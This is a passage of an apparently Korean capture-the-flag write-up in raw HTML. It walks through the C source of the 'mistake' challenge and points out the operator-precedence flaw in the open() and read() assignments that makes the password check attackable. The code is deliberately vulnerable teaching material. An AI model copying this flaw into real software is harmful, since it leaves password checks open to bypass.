14pt;&quot;&gt;&amp;nbsp;XORKEY&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argv[]){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;fd;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(fd&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;open(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/home/mistake/password&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;O_RDONLY,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0400&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;can't&amp;nbsp;open&amp;nbsp;password&amp;nbsp;%d\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;fd);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;do not bruteforce...\n&quot;를 출력하고 sleep() 한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;do&amp;nbsp;not&amp;nbsp;bruteforce...\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sleep(time(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)%&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11 byte의 char형 배열을 선언하고, int형 len 변수를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;file descriptor를 10 byte 읽어들여 11 byte의 char형 배열인 pw_buf에 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;read함수에 성공하면 읽어들인 길이만큼 len에 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;read 함수에 실패하면 &quot;read error\n&quot;를 출력하고 file descriptor를 닫고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;연산자 우선순위는 &quot;=&quot;가 거의 제일 낮기 때문에 마지막으로 판단한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;pw_buf[PW_LEN&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;len;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(len&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;read(fd,pw_buf,PW_LEN)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;read&amp;nbsp;error\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close(fd);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11 byte의 char형 배열을 선언하고 사용자로부터 10글자의 string을 입력받는다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;xor 함수&lt;/span&gt;를 호출한다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;pw_buf2[PW_LEN&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;input&amp;nbsp;password&amp;nbsp;:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;scanf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%10s&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;pw_buf2);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;xor&amp;nbsp;your&amp;nbsp;input&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xor(pw_buf2,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
